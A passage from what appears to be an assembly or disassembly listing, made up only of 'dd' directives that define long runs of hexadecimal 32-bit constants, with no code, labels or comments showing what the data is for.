0B41D15Eh, 0EC886573h, 8B185C98h, 0A0D1CB04h, 8B60163h dd 888591AFh, 47FE7Bh, 128031CFh, 0B0396A9Eh, 1379C98h dd 8339890Ah, 23F00410h, 7D03B358h, 0A42BAEC3h, 11209A62h dd 0AC376h, 0D0DA376Ah, 3E506626h, 0A1A4AC50h, 0B8B57F8Ch dd 0B0A4492Ch, 87802488h, 0CF8C268Dh, 5AA80B69h, 8500A498h dd 16972F2Ah, 5791130Ah, 4300878Ch, 0E0ADE821h, 7BE0A0ABh dd 105E26FFh, 62909D40h, 7D283A00h, 0CC4ABA11h, 5F2300C2h dd 0E231C022h, 9E19DCFDh, 0CD3953E7h, 39B9D43h, 5D256750h dd 5A97E16Bh, 342303B8h, 584C15E8h, 5B1B1088h, 0BD072004h dd 70DC83D2h, 0B8A2C826h, 2ACED000h, 2B97819h, 0B6E7E6B8h dd 34E05960h, 0A9559007h, 40B801B0h, 89A0C0Ch, 852B33C3h dd 60409FC4h, 0A5B7C373h, 540136E6h, 0E69B07F5h, 30608AEDh dd 0AE048C5Eh, 0B7996491h, 2F2E7462h, 604C4EB6h, 0FE4B10C3h dd 68D60626h, 71939207h, 0D04DCB2Ah, 0DBA7B300h, 0D616E560h dd 0E7260048h, 1F35195Eh, 0BCF436EAh, 0BC703D4Ch, 0C2008C6Fh dd 8D78C899h, 0B0DEFEBFh, 3AB30034h, 0A3AC52DFh, 0A009356Ch dd 401DF5EBh, 552F9F48h, 344EA8BDh, 0FDC03E88h, 11ECAD7h dd 47AE1A80h, 50075703h, 0AB71518Ch, 0FCFB2228h, 44B1B301h dd 32FDFE1Ch, 3E5FF4FCh, 81171908h, 90E44EF1h, 8E755204h dd 0C19CC8CCh, 0CCCE4D21h, 6B506DEDh, 0A08C41E4h, 0E9997DFFh dd 43871473h, 60C9A7B7h, 39D2C1CFh, 804C1358h, 1D3504A7h dd 2907E477h, 11EC9D91h, 442F0033h, 0A73109D0h, 0FA260045h dd 7E6D8605h, 0CA12E7FEh, 30428843h, 0EB1FE111h, 6669C0A4h dd 0CF350987h, 0A048EC07h, 0D928D22Bh, 790C8CFDh, 31898791h dd 321C02A9h, 0C10CA4Bh, 3EF0910h, 4441651h, 0B93B6D39h dd 7A69807Fh, 0E5739415h, 0CE451DD8h, 5870829Dh, 24513E1Eh dd 0FB18FC71h, 3AA58C0Ah, 4F12B4CBh, 198088h, 0B2333F8Ah dd 0C1F6021Eh, 0FA9CFD0Eh, 8BC980F8h, 8894EAC0h, 4403CCC3h dd 8A074087h, 13C97792h, 400485CEh, 64C29548h, 7E047969h dd 0A85299ACh, 0AE2D6081h, 6CCD3C02h, 3DC50BE0h, 0F5A202C4h dd 8320D5F6h, 871760C8h, 0D9616421h, 51691836h, 20F2E41Fh dd 2938F94Ah, 0CF4502Ch dd 17FF1901h, 40647AC1h, 4AB2742Bh, 2DBC0044h, 344F0C51h dd 32CA84A0h, 0D745F81Eh, 0CDE24A00h, 2CC4389h, 33C6F02Ch dd 808462D1h, 0C36460B2h, 752B23ADh, 6E2C9D11h, 82620744h dd 0F8B319CEh, 1A4F023h, 0F45B2688h, 20E6195Ch, 77274082h dd 3EA63B3Fh, 4CCD860h, 0B09EA2Ah, 0F7740416h, 4AF8095Ah dd 0FD93C018h, 1FB8A0B1h, 9C5C12E0h, 4D204245h, 50506AFFh dd 0A00FCD31h, 4B0103FAh, 79D4241Fh, 1B929000h, 2C2E20EFh dd 309CA0CDh, 60D6601Eh, 72E631D0h, 0B89CAE73h, 4C0321DEh dd 0D47F1D08h, 0FE232084h, 6CC2473h, 0D14C56C1h, 0E5031A00h dd 12C9505Bh, 0EE07FA3h, 6DD0888Bh, 0A6AD4F60h, 0CBF4CA4Dh dd 0BC743958h, 7F048C9Ch, 1E31D799h, 16CBB4D0h, 5DF924EBh dd 88133FC0h, 55305F83h, 0C400D46Bh, 0F0E549A5h, 0FE3A0905h dd 2ED389A9h, 620C612Ah, 22A0B030h, 0B100184Bh, 0B4B2896Bh dd 4920CE2h, 339F90DFh, 1410E44Dh, 7DC7A30Dh, 844288EAh dd 0E3C4E682h, 0B9B6C48h, 8D2B3CC3h, 637BC49Ch, 0FE28C300h dd 0A57E9749h, 65D920B7h, 465E689Ch, 3B740075h, 9965512Ch dd 1BB5015Ch, 27E79FFAh, 990226Ah, 0E26F1F7Bh, 0BE348020h dd 0A4DDBCh, 687754A8h, 0A6EB7640h, 5163FC0Eh, 0F16F807Ah dd 92D323h, 85070805h, 90DB52C6h, 93D1B00h, 0A0A6953Bh dd 0EBB000F3h, 0A9D0916Eh, 0C001B9EDh, 6DD97B66h, 0CEE49F20h dd 0A1700109h, 345B9C8Dh, 8533FC2Ah, 0C027F21Eh, 7A3AC200h dd 0BA7DFDh, 3B54494h, 0F3A38347h, 0F9C1E82Ch, 89E6FA00h dd 1BE186h, 70AB45C2h, 78EEEA96h, 0C08AE63h, 0B8200095h dd 0F66845BAh, 99FC6AB3h, 0F28DE204h, 0C0EBD1DEh, 5A985EB0h dd 0F9AB7C00h, 0B48E57Fh, 18E76987h, 86945A00h, 0EE725961h dd 79F46F07h, 182CE8FBh, 990C8E1h, 145C0C0h, 0F18F370h dd 0B8A231C0h, 0A54645h, 8D5E09CCh, 7EAD244Ah, 0D9A32703h dd 0E1A18AF4h, 68BE77C0h, 25BBFF06h, 0FE1018F7h, 7849630h dd 471F01CDh, 9006625Ch, 731828C4h, 9DBD4A40h, 6CB04C60h dd 2C07BA00h, 16F1A18Bh, 0F2000BFh, 0AE363DB5h, 531C6D9Dh dd 0D4C7F26Eh, 24D0682Bh, 0BBED0Eh, 0CDB673E2h, 0F670E8BAh dd 56399702h, 0C04BD7AEh, 9E0AA9Ch, 0B3600C20h, 0A36BAD00h dd 0A80399DCh, 9C19AD3Ch, 7550F787h, 0F7C791h, 4E09D4C5h dd 4B5CD9EBh, 11ED0400h, 8705A1BFh, 229D0014h, 0CE2474D0h dd 76C1E0D6h, 0C3AB80C7h, 6D058E5h, 6338C02Fh, 0E1A302ACh dd 0B47A77E8h, 701718C0h, 6762E3EFh, 80A811D0h, 59D92E2Dh dd 5F3271C1h, 0AAC876FBh, 3CA000A1h, 24DDCA14h, 0DB1F8439h dd 1CB91673h, 0ED102D5Eh, 7ADD5B01h, 0E482B655h, 3E00970Eh dd 96802C50h, 0F81EA5ABh, 0B227007Dh, 9C2FF3F5h, 0B11991D0h dd 5F40EC23h, 3AB98F8h, 9E8C5A33h, 95A0692Ch, 8000F204h dd 5D058FBAh, 78D885F9h, 33CF901Fh, 2FB0A064h, 51B8FABBh dd 7660247Dh, 94D368F0h, 393100A6h, 0E8AA365Eh, 8400182Eh dd 0EB28F49Ch, 38FD633h, 8DD95922h, 0A2FB14FEh, 4A1112Bh dd 67725EF8h, 0C0CC10AFh, 6692349Eh, 0C733DE00h, 9AFC9648h dd 68C10060h, 0F29CA6D2h, 477A7BECh, 0B1A35A00h, 6B24ED7Eh dd 0E9F43Dh, 0B5E89987h, 6D67F397h, 0DB068B00h, 257A5623h dd 96861FFDh, 882880ECh, 0FE59D24Bh, 57F87D00h, 619D0D2Dh dd 0B99F0B0Fh, 5307F965h, 94DFA02Fh, 0A900A4F1h, 3DA8BC4Bh dd 2A6AE5h, 0EB18C27Ah, 0C35FE0EFh, 1FB80700h, 0AE24CD8Eh dd 0D22300E8h, 0B1EF14FFh, 880C6BA4h, 78BE6635h, 16EA001Dh dd 87A7433Ah, 810E55FAh, 0A052BB89h, 0E392BC5Fh, 0B2FD0EF1h dd 401BC51Fh, 508EEDC0h, 0D9994C00h, 13C25F68h, 609C0040h dd 380ADD41h, 6F039681h, 4E8E6A43h, 0A852F0A3h, 60F0EC7Ch dd 0D8825856h, 0DB2E81D0h, 0B901B10Bh, 6E8701B3h, 0A30021BBh dd 727AFD05h, 1C00B6BAh, 3E49C6A6h, 48A54C48h, 4E0086D8h dd 0B8CFBDBEh, 0DD0B8C85h, 80F9562Dh, 0A9E61154h, 0BCE00F26h dd 6EE0D0DCh, 638DD3F4h, 0A61E3FE8h, 9700128Fh, 0A25668F8h dd 1CEB0006h, 640C80B7h, 1F0E6640h, 60A9E15Eh, 8429E387h dd 2892040Ah, 805B6A16h, 9847A51Ch, 0DD6D6C2Ch, 6B00F838h dd 41D13FA4h, 0FBBEFC72h, 532B440h, 0EE7D3F07h, 0EF50EC07h dd 76E80031h, 0A703289Ch, 72BF6912h, 0BAFDEB3Ch, 5E4C4833h dd 1E8A0047h, 23CE2B53h, 0FB00D50Eh, 2610C6BCh, 0B11E50Dh dd 0C54779A0h, 1EA71287h, 40B2F9CEh, 9B97A62Ch, 50FCD41Eh dd 0A086AB16h, 79103600h, 999A73h, 0E7142172h, 56E37A87h dd 62206800h, 0CE1E9DC7h, 863300F6h, 4E34CB31h, 0E80012D3h dd 0E34B7F41h, 0B065FE20h, 0F8882CB2h, 9BBD00DBh, 6F5DFA73h dd 0E4CC1028h, 3100E27Eh, 8228834Bh, 5F58DDh, 612D8920h dd 70B48A52h, 0B86E0B00h, 90842DFh, 28A87433h, 2A0E6BAh dd 15AA7A39h, 0F8486BDDh, 64008D97h, 8BF9512Ah, 1C2124Ch dd 2D28DACBh, 0D8D91707h, 0DE00DBE4h, 0F43C2752h, 3A20E909h dd 0A000D0FFh, 0BEC6CE74h, 150EA9ADh, 87968231h, 0A2902367h dd 9A1F085Eh, 9860540Ch, 7C96004Ah, 4B416607h, 7700C269h dd 5CB08E4Ch, 625359h, 7EBE744Eh, 50FA6B05h, 1D2C60BDh dd 355D00BAh, 0E90A45E1h, 6E00A141h, 0D7C7D878h, 87545Ah dd 0E40C26A7h, 0A5FC22D3h, 0C9091892h, 83A6A0h, 0F2706244h dd 51D93ED8h, 0C823E509h, 0C8BBDC04h, 871EF780h, 31007E73h dd 3950A490h, 0CE7842h, 823C4EA1h, 0AE5E215Bh, 56711616h dd 46531103h, 3E48D0D3h, 44B03810h, 47D02C9Dh, 1C07E04h dd 0DC9628DDh, 0F00117AEh, 0D517FEDh, 0F5C42C79h, 0C2A01F1Ch dd 80841F55h, 88B721C5h, 9203D138h, 7C78D7E9h, 0DBCDB086h dd 0D3520047h, 355FE620h, 5A00957Eh, 544541F3h, 0D8C3Ch dd 1ABCBB64h, 0A09D9A4Bh, 0A5C09507h, 708DCA82h, 152ADE4h dd 0E8C18F57h, 0C410F5B7h, 0A324D59Fh, 0A90084B2h, 494329A0h dd 188F0EB6h, 622070C1h, 0CFE4CE4Ch, 77263600h, 5C01750h dd 9F800FEh, 0CBE0449Fh, 0C804EC11h, 26E12B52h, 74ADBC80h dd 0FF8601A2h, 69989482h, 84CFDC3Fh, 67D041EFh, 57ABF851h dd 0A3522B00h, 9ADD348Ah, 0A4F5509Bh, 9C6F0069h, 0E2297BFAh dd 0BC003F47h, 0DD77D4C0h, 15F595Dh, 0CFAD4CF8h, 301D8539h dd 6AFA0409h, 67F46100h, 0B5C8FB64h, 3645007Ch, 0E46618CAh dd 0DD005786h, 0DA5D9412h, 0A5B79Ch, 0B9F23846h, 6CA5CFAh dd 0A603B2EEh, 0CEBD69E4h, 0C9DB90EBh, 0F80E0974h, 180025C2h dd 26E5B24Eh, 947C8B06h, 2629361Ah, 0E5EED44h, 59C25064h dd 24682F6Fh, 797E196Ch, 0D1D56A03h, 0B8483928h, 8E2252h dd 18B12696h, 0CD7686D0h, 0F27E4B7Ch, 78990300h, 904129DAh dd 16D11858h, 3BA22146h, 0C20002E4h, 872EA3D6h, 79079590h dd 2B3EC61h, 607D4F92h, 94A25E53h, 78487AEEh, 39147895h dd 1FB0DCC0h, 1003D64Dh, 0F7A6CB75h, 5181DBD1h, 0BF19DCh dd 244E884Ch, 30B00E2Fh, 0E6009DE4h, 12A5BE4h, 0B2F534h dd 4595A139h, 0D68BF4A3h, 7FF2D8FEh, 0E0245AEEh, 0D1004004h dd 965FA5B5h, 0A0E66024h, 3F93A93Bh, 0F82BF5Ch, 3EDACCh dd 0E9F041D3h, 8E440114h, 0BB39A616h, 6D93021h, 9F9CB103h dd 883C1712h, 1E29AD32h, 3961CF5Dh, 0DF879B80h, 1A1823AAh dd 66E98E01h, 0F3EEA850h dd 9EA47280h, 6EE28B90h, 0DB574700h, 22E3A7E1h, 0E594070Eh dd 20F515D7h, 6F18FF85h, 0C3F7F607h, 25E06480h, 0A7784Dh dd 22572CCEh, 0E39956D0h, 559A5A00h, 0A5015244h, 0C89D1EA4h dd 0DCCBC17Ah, 0F4EDFA8Eh, 0D90008A1h, 0F82D1930h, 76D61Ah dd 65CF696h, 86E1A68Bh, 2B5EA501h, 0E9C4546Fh, 0B080B0B9h dd 80DA0378h, 0C900A2A4h, 5B866FD0h, 0C2BCE8h, 0D29510ADh dd 81B7C544h, 0A80BC700h, 24F8728Ah, 0F840292h, 5B8E38AEh dd 0DC42DA82h, 8535D8E8h, 0F745F900h, 0E41A6E18h, 2BB87Eh dd 48B0D16Ch, 0F5FF0AA6h, 75D39B00h, 0E56540FEh, 9F08A04Ch dd 12460077h, 228E7FD7h, 5C58F171h, 274A00E8h, 0C154EF45h dd 0AD9F26DBh, 0EB92B9B0h, 0A4148067h, 6E078DD5h, 118E3DBCh dd 6023FC41h, 0D82100C7h, 6FA5ADD4h, 0CB3A6625h, 0A12004Ah dd 86B1FDAh, 80F90767h, 0A70E9C27h, 0F0B630EEh, 41DAFC8h dd 0DC0567Ah, 0C5A7A18Eh, 0D6BD306Ah, 253ACB58h, 32E2A502h dd 60863D80h, 0BA276EE8h, 3FB90314h, 79CB6D25h, 0C8FFDE2h dd 0BDC59AA0h, 0ED07468Eh, 814851F4h, 0FF15DB40h, 99F2005Eh dd 25F5DA42h, 64001A7Ah, 2133D2E4h, 0F44180A2h, 4C3EE811h dd 131C2155h, 7B5D000Ah, 30F8A32Ah, 0EF672400h, 81C7FA8Ch dd 0F94D0011h, 0E978CC5Fh, 0F7007D1Ah, 63700F5Ch, 3B7F3CDCh dd 26000296h, 0CE2C69D3h, 0FA00FED4h, 1BA8A0D2h, 0D8BF9Ah dd 60AF7059h, 5311A257h, 3900FCA4h, 0B6476109h, 32668665h dd 0E108EE5Eh, 0FF1C0C69h, 0E6858188h, 360099FAh, 0DA8290A7h dd 2DFCB33h, 60979D3Eh, 8468C9D6h, 0DB7B9BB9h, 1B80AF00h dd 98A4FD2Dh, 27DF0CC5h, 0D3580629h, 0DA77D90Ah, 3980F03Dh dd 0B3E9F107h, 268E0C15h, 6A0805A6h, 0EE1B21C0h, 1F1DF2h dd 0DA8D3C3Eh, 2A92A507h, 9BB46B03h, 9F2E9896h, 4029987Dh dd 0EE5B6803h, 11003EEBh, 7A9C4382h, 0E241ACBh, 2527B3AEh dd 209D1896h, 9C7036F3h, 0ACF03E00h, 807DB8D3h, 6FE736BEh dd 1B215058h, 9C2880EAh, 25D2CB0Bh, 213B6086h, 0B09CF0E4h dd 0DF8C1300h, 5AA37FE2h, 32210058h, 2925C8CBh, 0B1C331F1h dd 0F07E6A81h, 1946E74Bh, 8E923C5h, 0E1AC502Dh, 4F757E52h dd 0B4DECB0Fh, 805B6091h, 0D038905Eh, 0D400BDA0h, 0C7B8CAFDh dd 0C600AA30h, 49187420h, 0F1B2D0Dh, 5BF52F36h, 90EBF3A0h dd 2200C929h, 8BA9601h, 111C85h, 536E9FBBh, 768027B7h dd 779E2B00h, 33190236h, 31CF00D2h, 0D55AB865h, 0FE3E6455h dd 0FC2F0016h, 0A861BD28h, 5143000Fh, 0D283A0BCh, 5E00C750h dd 0D4F485ACh, 0C053B523h, 0BD2DDD10h, 0D7074E15h, 73FB1893h dd 342186Ch, 75595455h, 0BBCC4F4h, 359086EAh, 13C00C0h dd 5C9031Dh, 1F66FD5Bh, 3028886Ch, 0BB91B964h, 5226C2E6h dd 0AF00275Fh, 0A62D6E8Ch, 0DC960E45h, 0C07DD96Dh, 0CBB87431h dd 8B00946Ch, 56F11DEDh, 3A1506B0h, 0BA8017DEh, 7F5A649Fh dd 0FB1D559Eh, 0BE1E2814h, 90378B0Ch, 2439035Eh, 408FDD61h dd 870080C6h, 17D4D249h, 0EBBBE4h, 96EC7055h, 8FE883C8h dd 8000FCF0h, 1924AD86h, 0A32E08h, 0B0E4AB28h, 49A1B685h dd 0A2001471h, 0FE9020F9h, 39D9657h, 8864D6E3h, 0A0A71E5Eh dd 0B6379A19h, 8975E43Fh, 80E1C102h, 74D9DC16h, 342400F4h dd 694EA25Dh, 2C00D31Ah, 87ADD781h, 14BCFFh, 84D49A61h dd 1EDA0FEAh, 34DE3100h, 9D9741DFh, 2D13007Ah, 80A53817h dd 7E031BB9h, 3391784Eh, 0DB080062h, 1D586D05h, 0AF004FADh dd 0D2A29717h, 1DC3722Ah, 40B981ABh, 802E0560h, 3C7BA973h dd 0E5AE7C00h, 991334F2h, 2DF8005Dh, 0E0F031F7h, 8276F953h dd 0FF727D00h, 0DE79EEECh, 40E10028h, 0EBAD51A9h, 0FE0041C9h dd 88294353h, 1784CCAh, 6348FD30h, 0E4F990E9h, 0DB0707E5h dd 3684E41h, 0DD8D2A00h, 0F7F847h, 0FA4449Eh, 25B12055h dd 0BEB43700h, 0BA4EC4BDh, 8FD502CDh, 2226B03Ah, 6BBFA80h dd 28079029h, 0C0D4501Eh, 9D01B68Ah, 0A9D75511h, 9DC8119Eh dd 8660C0D0h, 0A7E870Eh, 91013174h, 0B92996C3h, 0DC40D738h dd 1745DBEh, 59ABC083h, 0E881C9B4h, 0AD00DFE4h, 0C367D0F7h dd 491CA9h, 0B5CCC229h, 8C80FECEh, 30266C07h, 0F4208918h dd 0B7798Fh, 5FD97512h, 0F910134h, 53ABF900h, 46C96DF7h dd 0CE240585h, 44611E8Bh, 806FC590h, 816D5915h, 1F00457Bh dd 9E66EF06h, 0C0D39h, 0C2C8B899h, 0AF2CDACEh, 0A7153700h dd 625D7577h, 0EE0D0125h, 0B1890540h, 4883C0CDh, 90A31303h dd 0E1D01A1Fh, 83405704h, 1D088ABBh, 39BD6196h, 0E973FA00h dd 0CB43A111h, 0A49D2300h, 0DADBB448h, 0A2B0BEh, 2B465271h dd 8B96FA5Eh, 9E658900h, 56FB7E9Ch, 52BD0762h, 404E5438h dd 11C6C257h, 76514600h, 0ABAFA061h, 0CA79E0h, 3E39B1Ah dd 30E974D3h, 4A720500h, 0FF46F12h, 0E0C401BEh, 8890E171h dd 30A2FC11h, 56967300h, 322E42B8h, 0B1E800F6h, 9CD16629h dd 54017B12h, 90E496D0h, 90DF884Bh, 4D49ECh, 0CD0A835Eh dd 9F8BC5A2h, 0A42CAA3Eh, 28006480h, 6415F64h, 2A760E24h dd 0CBE0B1C2h, 0B6F71DE0h, 0FBF8100h, 0BE8E4252h, 766F84Ah dd 51AF9F68h, 0A646F0DEh, 2D00E3A0h, 1B559A31h, 38BCFC76h dd 1F80EA22h, 4E7F26FBh, 7D0EB5D2h, 0F3F524h, 0AD19C3B8h dd 0B7350006h, 6C0189BEh, 9300E870h, 21E6420Dh, 95EDFCh dd 784BF40Ch, 0C2D1AB8Bh, 9C3CC712h, 3A374700h, 0B8E9E3h dd 0C5C347EAh, 0F6276507h, 8797B503h, 0F0140169h, 48DA690h dd 2CC0B3A1h, 5708267h, 8122D7E0h, 30B05800h, 2ED889BFh dd 69420037h, 512D1E72h, 0DA00F638h, 0FFF4E6C1h, 0E804329Eh dd 3CC50780h, 8035684Dh, 5F7A2450h, 82737E3Fh, 4B11B485h dd 6BDC80DBh, 2521C33h, 34B164C7h, 0B0406D41h, 9D00CAC5h dd 9936D072h, 24DE02h, 0EB324590h, 9233DFE0h, 5CB9D60Eh dd 0FBA98046h, 0FC0EECACh, 0BAC92F5h, 0E581D285h, 0D4171600h dd 7800B1A4h, 0FE3B5512h, 77FD23B0h, 0D2E00027h, 0B2C32695h dd 0BD04BA07h, 0A920DF98h, 8E0069A8h, 0DDCC7F72h, 0FA03279Ah dd 7950A889h, 0A0E801B4h, 0A4D863B8h, 24243054h, 38D29320h dd 2E7D1E4Bh, 648D38h, 8FEBE550h, 35FA6473h, 0F2DD7D00h dd 6D1BF181h, 266C7CBFh, 1918BB4h, 0FDDCF5FCh, 0E88FC844h dd 0E9CDA802h, 0E1DB943Dh, 9881991Eh, 0AFD49D26h, 4B702438h dd 0D218CEF0h, 70119B85h, 954107F5h, 30C8AD8Fh, 0FA7E1420h dd 70AB7730h, 7D62557h, 80B3CE78h, 41BB4790h, 41C8069Ch dd 0F1ABE8C4h, 0EC5CF095h, 0A969CB30h, 9A60B4B0h, 0EE910084h dd 0CEE4F34Ah, 5807C849h, 4E4C2B8Ah, 18B831B0h, 0B74618B1h dd 0A13C20F5h, 6C387660h, 0C097389Ch, 808BE850h, 40E969E5h dd 4592FF2Ch, 0B6C00700h, 48FBA14Eh, 0F4AB004Ah, 0E3972B55h dd 5876683Fh, 22057C01h, 1719E8F9h, 503F704Ch, 7FF385Eh dd 11E88B5Ch, 0FD33406Ah, 0AC503C55h, 40EBE510h, 0E8D9311Ch dd 1DB4F200h, 50BE5DCFh, 0AD59480Ch, 0DF965800h, 159D9B2Bh dd 6BC0D300h, 5065B7AAh, 0A7080029h, 40369451h, 8A7E9274h dd 8B002BE8h, 0E07F59FFh, 8FF7C0h, 671358BBh, 966F9A1Ch dd 6C7D5200h, 1EBA7297h, 48F01C6Bh, 560945DFh, 15BC5274h dd 0BE3E90C8h, 1959E518h, 0B9C08E88h, 0E9906892h, 1E99485Fh dd 7A7C71Dh, 20F6F041h dd 0C31479D5h, 9D1CA05h, 2C0337FEh, 9B115F7Eh, 61E6B7h dd 3EB1498Fh, 80D144A9h, 81782100h, 427F8FCh, 297360B7h dd 15A5FD3Eh, 931E0AFCh, 0F281A6ADh, 0EA94B1AAh, 65DDB2E1h dd 6F7C6980h, 5939DD16h, 0ABC51503h, 0D1E848F1h, 19F82D93h dd 0BF302E7h, 1CEFED99h, 0D6393844h, 0DB67807Dh, 0CE01EC2Fh dd 9DA20011h, 60462018h, 407A2878h, 0F22CDFE8h, 0C800BF0Bh dd 3BDCB462h, 0F8B8D5h, 4C513F6Ch, 123998DBh, 0C2F0C300h dd 0C56E5414h, 63F80676h, 0D9EFB47Ch, 0F208F100h, 0F91F6A5Fh dd 7034003Ah, 0D416658Ch, 0A035990h, 1422814Fh, 898EA060h dd 249279h, 547CE89Eh, 249D1738h, 0F77DE0FFh, 0EC283Ah dd 2B70E53Ch, 0C306DD1h, 51080ACDh, 0B9076438h, 68FDE69Dh dd 0D004E3F0h, 0B8E899h, 0DFF6E4EDh, 75CD790Bh, 0FA869F00h dd 0F5D13418h, 0B8882461h, 402D9F00h, 0F2A88AB1h, 38CEB411h dd 6A3C2114h, 309E9071h, 17ED41BAh, 808C6E84h, 69AB9739h dd 75A88809h, 456F0096h, 5BFBE430h, 0F03959A0h, 23C000A6h dd 3DBD4F29h, 1583015h, 2C9E1050h, 0C6D68D00h, 0E1A2B98Eh dd 0F90A127Ch, 0B150226Fh, 839BBC20h, 4230007Eh, 84D4470Bh dd 0F0C0DC62h, 0F637CA2Bh, 178015CBh, 0EC07C41Eh, 0D3048DBFh dd 1C90A99Ch, 93080DCh, 0A5F22161h, 0C4861589h, 2A09F4D9h dd 0B080666Ah, 3211370Fh, 1DE6FB00h, 20CFFD2Ch, 2DE80285h dd 0D96563A2h, 22779480h, 0B6009F7Bh, 27B98446h, 4C87A1DFh dd 0F1C100Bh, 925A42DCh, 45208F6Dh, 16042DAh, 8A9DEFADh dd 0E09F4F14h, 0A70BA81Fh, 8043DF3Ah, 0A04BD0A6h, 2781027Ah dd 8A8EF592h, 0E4151444h, 15C15AAh, 464018AFh, 61D82EBDh dd 0F962006Ah, 8ED53653h, 39C37A9Eh, 5A5E8D7h, 343DE89h dd 73B4404Eh, 6BAF01ADh, 0EF26A3E6h, 3A470C6Eh, 0F0C65913h dd 5F8F69h, 0BB52009h, 16FBD9F2h, 0C3ED0701h, 7CE38E1Ch dd 80E56983h, 27EB4232h, 8C62F5E1h, 71601D19h, 0F2520033h dd 0B42D47B5h, 8300FB5Ch, 911AD34h, 0FB986302h, 0B1E9D4D4h dd 601C24ECh, 0ED40A338h, 9EACC700h, 0E17A3CC4h, 0ABD8000Bh dd 0AF7C7FE8h, 0C1C0946Dh, 25D904B7h, 9F36027Ah, 0D7C5FDCCh dd 0FE1C9CA0h, 5A005272h, 7D63DCF0h, 506A4Bh, 46908392h dd 34EE1F81h, 4EE24C00h, 0E74598FEh, 75A7000Ah, 7B147E3Ch dd 520182A9h, 64F0047Ch, 0C20DC40h, 18E0271h, 1522F5C8h dd 0B87C1040h, 0B4D6A013h, 0D7479420h, 81FE07AFh, 0F043FBDDh dd 941A0FC8h, 8E12F00Ah, 9160F8ECh, 99FA0A60h, 929D006Ch dd 0B7170D1Dh, 6251ED61h, 8E8022BCh, 1C7C9D75h, 0CF0178DEh dd 42D121FDh, 3DE0FA79h, 0F5931268h, 0CDF44081h, 5290D54Ch dd 82A4F302h, 0C4FD0A48h, 48F7481Ch, 7E8CAB00h, 2C86E5BCh dd 8123EC3Eh, 0B9D1E26h, 4F7191EDh, 3DB808h, 6544385Eh dd 3649F11Eh, 2C805491h, 69568510h, 294300D6h, 9CEB30A3h dd 14905E05h, 8481917Eh, 275A020h, 0A5D14042h, 0C861A7FFh dd 5A88507Ch, 7D003D7Bh, 0B9C7B6DAh, 187AB8D5h, 0B9861DA2h dd 490099FFh, 25878C2h, 794740h, 0F5198D4Dh, 68C90DBh dd 0E89C530Bh, 0CC1C034Fh, 0B881EF9Dh, 0C4301FFFh, 0F4ED3E57h dd 0BFBADF8Fh, 20D91D8Fh, 6D85C433h, 0B3F1BB60h, 8C24CEh dd 90815C2Eh, 0A86883C1h, 0FA171F00h, 30BB024Eh, 9D8E192Ah dd 0FC94E188h, 825C4DE6h, 2DF600D7h, 1CE37ED2h, 0C86D5140h dd 6180BCE9h, 88E4A252h, 0B0CF4649h, 9D2AC162h, 1F3FD00Dh dd 381D4127h, 0F09C4C87h, 2905F8F1h, 0AB46DE40h, 0B77FA401h dd 60C422D6h, 0A57E0E87h, 0BE22B69Ch, 0C46F4Ch, 0DD4B6A00h dd 1DED25D4h, 7447489Bh, 7CB47E09h, 0CF4F3020h, 0B300CD82h dd 60EA54F1h, 58E2F722h, 0AD16CF15h, 5DEAC14h, 3F8CAA1Fh dd 0D65238CCh, 604448F9h, 8B02B8A6h, 641A5F48h, 3FDE030Ch dd 24077EFFh, 0FBE41A0h, 8BA40E1Ch, 8DAC5C7h, 510AFDE0h dd 81AC9890h, 0CC302EE4h, 0E2C43059h, 0F0161D69h, 7330A001h dd 5CD1F7C1h, 30CB3060h, 87F1A28Ah, 0DB003F2Ah, 2BD66BB4h dd 2435EEDh, 0C35D59B7h, 0A8A1ACF4h, 221A5342h, 140F00BCh dd 65DFB4DAh, 0BB0417EDh, 6019F8D9h, 3505E321h, 0A7480067h dd 164B8B57h, 62E1D6C8h, 91891364h, 40938822h, 0C42ABA0h dd 0EA6A5AE8h, 760078C1h, 1454807Fh, 0BDA5BAh, 357E498Eh dd 9E304897h, 0C2220B03h, 0B56E87h, 33AFD359h, 4D4CB958h dd 0A102B200h, 2F730951h, 0B8CB1211h, 7A200761h, 0D2A7D0F3h dd 0C100B0F2h, 84BFF718h, 92E3C408h, 5A77D4h, 4BD3583Ah dd 5164B19Ah, 0B688D150h, 0A3D85C0Bh, 2AE000D6h, 1599070Bh dd 204451CDh, 3112D12h, 432109Fh, 0EA608C99h, 2B8EB440h dd 0CD12B277h, 4400AB4h, 0A398A935h, 0FEE1012Ch, 1B65BFEBh dd 0B07AE0ECh, 0FB38613Bh, 0D1E3DF12h, 20BB3F0Fh, 9437065Dh dd 0AF20A7Ah, 8AC03F60h, 9F88896Fh, 0C04C1EDBh, 90CDC708h dd 18001D3Ah, 0A23D7DBAh, 1E864033h, 872B1951h, 0D2CA7AF2h dd 884403D7h, 2CE3D800h, 0A5D02AFBh, 3A6E7296h, 21E08ADFh dd 0BF2D2944h, 0F9E7A406h, 0EA19BA6Dh, 9A98002Eh, 3F5C80DFh dd 0E000DE02h, 37F10F97h, 793EF8E5h, 9DC0532h, 353A14Fh dd 0F29D20C8h, 0F08E25B9h, 0D1C48C0Bh, 5841BD88h, 20FDABF9h dd 2506F10Fh, 3D54162h, 18BC9029h, 1168F215h, 900116ACh dd 92B458EBh, 4022F4D5h, 4E7E3F00h, 9A2C462h, 405A42BFh dd 496A55A0h, 3F004C7Fh, 1C6F89A0h, 5400D117h, 4DE792D2h dd 9338810Ah, 0EECC04E0h, 5EC0823Ch, 70525A61h, 3B887D54h dd 7E25FC9Eh, 14CD0E7Eh, 736146FAh, 22B733BDh, 266B0000h dd 0CD0E2D18h, 8F2A1E67h, 17070084h, 1CB4B7B5h, 0D3F1D002h dd 80E9D559h, 0CAA6D878h, 80B45813h, 2E6AF80h, 0B51C5E01h dd 37C0C6D3h, 0A9881A6Eh, 8F030914h, 480B84Bh, 13168101h dd 0F5E339C1h, 0B88CC150h, 461B06Fh, 234A4F00h, 0C64B1CFBh dd 0A1DD00CBh, 0FABAD78Ch, 8F2E74D1h, 0AE6094ADh, 4AB2Bh dd 84F5C3C7h, 4B1D1791h, 0D1C44200h, 923615E4h, 7FE1FD45h dd 818BB413h, 0BC3856F8h, 119C5A4Ch, 204A0B3Ch, 1A7A9940h dd 0AAAD4F00h, 80DA1032h, 0C4A42Bh, 0A15EA7BAh, 29B30AF1h dd 0AD7CBD00h, 4A7554CAh, 0AEF90125h, 924746E8h, 1704226Eh dd 4E0029B4h, 0E8ACDE5Fh, 0A5F3024Eh, 6027B271h, 97C6EB81h dd 0C7EC7166h, 0EBD7890Ah, 0F540C0AAh, 6DBB812h, 0B72C8092h dd 